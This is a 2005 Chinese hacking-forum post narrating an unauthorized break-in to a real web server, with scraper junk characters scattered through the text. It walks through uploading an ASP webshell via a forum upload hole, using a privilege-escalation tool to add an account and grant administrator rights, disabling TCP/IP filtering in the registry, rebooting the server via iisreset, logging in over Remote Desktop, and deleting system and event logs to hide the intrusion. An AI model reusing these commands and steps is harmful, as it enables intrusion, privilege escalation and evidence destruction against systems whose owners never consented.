查看: 2387|回复: 1

从建立用户到3389登陆

字体大小: 正常放大

韩冰

823 主题	3 听众	4048 积分

我的地盘我做主

该用户从未签到

电梯直达

1^#

发表于 2005-1-23 13:50 |只看该作者 |倒序浏览

|招呼Ta 关注Ta

作者：晓菲来自：http://www.wrsky.com/

本人技术比较菜，希望各位高手看了后不要笑话。。

今天下午在上网，一个QQ号接到某些人用那个QQ发言软件发来的消息，反正就是广告好了，但是也没太黄，或者太难听，就是宣传自己的主页的，一般碰到这样的情况我都爱理不理，正好看到他和我是一个地方的，我们这小山钩钩还有人会在网上发布消息，真晕哦。不行，得去看一看，我没有直接打开，（我也怕里面有网页木马），好吧，用明小子的Domain，就是那个旁注工具，一般我都喜欢先看一下，扫到一个upfile.asp，是DVBBS，很容易的上传一个马，好了，进入，我使用的是冰点的2005.asp和火狐专用版4.asp，（其实我还是比较喜欢用老兵的木马，但是不知道什么原因不能用了，555，技术菜真汗。~~~）好了，废话不说了，开工。 6 q% |) ]. U. L, J我主要介绍一下建立管理员的过程，好，先看看能打开别的盘不能， ' e! h4 C; e3 J' N$ q9 Q哇，这个服务器很好，可以浏览整个服务器里硬盘里的所有数据，而且还可以写入 ) w+ `' ^. j$ c& a$ P& F& g5 T使用一下net user5 B- S+ c+ I5 O9 a+ K2 D 返回的提示信息显示，只有默认的几个帐户，嘿，4 }; K1 y; z5 R; m. [5 b& l 在试一下 + c. f0 `2 B" N1 d5 n" m3 gnet user xiaofei xiaofei /add ps:建立一个xiaofei的用户名密码也是xiaofei- M$ I; q3 e" \ ASP木马没有显示，哎看来不行，我还没有试过直接可以用ASP木马建立用户名的服务器呢，（其实以前也没有成功过） 6 X/ e. K: \4 H# w+ J' y5 f哎那就在换别的方法4 Z8 c# v0 t4 Y6 y; c% @* @+ u 好的，看他用PCANYWHERE了吗，一般使用这个作为网站管理的比较多。 5 y- v5 A# s3 g6 N. _/ f找一下他的默认目录：9 x( e, X8 v3 ~- u C:/Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/ 5 u% J7 y0 O& C- |% Q8 { 哎，这个服务器也没有装，难道没有方法建立用户名了吗？7 x( Q4 ~/ X/ z; G 在找找，在D盘里看到了SERU，忘记看版本了，想到可以用工具提权，就糊里糊涂的上传了一个工具上去，找了一个ftp.exe，ok，然后 2 u& Z4 I+ [. d1 {$ A2 w; V6 Q' lD:ftp.exe "net user xiaofei xiaofei /add" 4 S, ]' F ?* b3 T& E% o4 E提示一大堆返回信息什么的，然后使用了一下net user 看到xiaofei这个用户名了，就是成功了。 9 G3 i! ?2 Z& L) L1 q4 S5 vD:ftp.exe "net user xiaofei xiaofei /add" 9 w7 ^5 {0 }1 d0 }' ]继续提权，在继续输入 % Q I9 P N7 ?, |/ H, k! QD:ftp.exe "net localgroup administrators guest /add“ K5 A3 y7 C9 E& [4 U/ o4 g 又成功，然后执行了一下netstat -an 看了一下，ok，3389已经开放了，不用在麻烦我去开3389了，ok，找3389终端登陆，go。4 P% E; I2 x, Q( _- c 打开终端了，但是连不上，晕忽忽。哭哟，用户名都建好了，还连不上主机，在翻了一下目录，也没看到有防火墙，使用ipconfig -all，也没有和内网连接的迹象呀，郁闷ing，不知道怎么办了。正好在冰点极限论坛看到了一篇文章，“从上传webshell到突破TCP/IP筛选到3389终端登陆”（我在下面的回帖中会放上这个帖子，帖子中有详细的介绍）其实这样的文章好多，平时其实没怎么注意的，正好现在被我看到了，哈哈运气好，希望明天买彩票也能中个500W就好了。ok。其实是服务器做了TCP，IP筛选，3389端口可能只能让某一段IP进行访问，那好吧，我们就把他删掉。4 Q6 K( C2 p0 F7 ~- N2 c( \8 p9 u, } D:\ftp.exe "regedit -e D:\.1reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip" 导出注册表里关于TCP/IP筛选的第一处/ K/ V* F8 y: g D:\ftp.exe "regedit -e D:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip" 导出注册表里关于TCP/IP筛选的第i二处 5 u4 f! `7 h% Q2 G+ y+ Q& ED:\ftp.exe "regedit -e D:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip" 导出注册表里关于TCP/IP筛选的第三处 4 B6 |& Z4 w' L然后下载到自己的PC里，使用记事本编辑，然后ctrl+F搜索EnableSecurityFilters"=dword:00000001这个参数，把它改成EnableSecurityFilters"=dword:00000000。把1.reg，2.reg，3.reg都改过来，然后上传回服务器路径中，我又上传到了D盘里，~好了，我们要把刚才编辑的1，2，3都导入注册表中。 B& S( l! c8 l4 h) q$ u& ?) v9 F" uD:\ftp.exe "regedit -s D:\1.reg" 直接将1.reg导入到注册表中: `" Y% d8 }2 }5 k1 }0 ^1 z 另外两个也一样。 9 E1 i1 R1 {& J4 _然后在执行 & A: v5 K! b! h- r5 y$ _( bD:\ftp.exe "iisreset /reboot /timeout:00" 利用他自身的iis 服务来重新启动他的机器，/timeout:00这个参数是让他立即重新启动，也就是一小会，访问网站，已经访问不进去了，差不多几分钟后，可以访问了，直接登陆3389，输入我建立的用户名，ok了。我们的提权访问工作也做完了。最好也把日志清一下，做坏事了嘛，嘿嘿。下面是日志存放文件，在DOS下运行一下就ok了，不在需要用用别的工具咯。+ d* A, R9 l5 h4 H, ]. [ del C:\winnt\system32\logfiles\*.* * f8 h& J- G2 I* G6 ]* \del C:\winnt\ssytem32\config\*.evt 6 t& u3 q. f7 x9 G del C:\winnt\system32\dtclog\*.* 9 x9 n6 D9 ?# Q5 Ldel C:\winnt\system32\*.log 9 `, a2 u9 e7 B del C:\winnt\system32\*.txt ' v& s3 V5 e- B, t2 u del C:\winnt\*.txt 9 t9 B: ^, S9 t4 A, H" L0 K del C:\winnt\*.log 5 d% i$ z! \( ^' O0 u" e6 O当然人家做个服务器也不容易，大家不要对国内的机器进行破坏哦。好了，找服务器的管理员的联系方法去了，如果你要是做违法的事，小心警察叔叔第二天来敲门哦。。。 1 z' `7 A1 c' O( b# q本人只会使用一些别人编写好的程序进行对网站的攻击，但是对基本的原理还不太了解，来到火狐希望能和大家一起学习一些基础的知识，大家来一起学习吧。 5 D' I8 Z- D- `. p! `/ d 本人在申请火狐论坛的认证会员，希望管理员看在打了这么多字的份上在多考虑一下拉，好好学习，天天向上。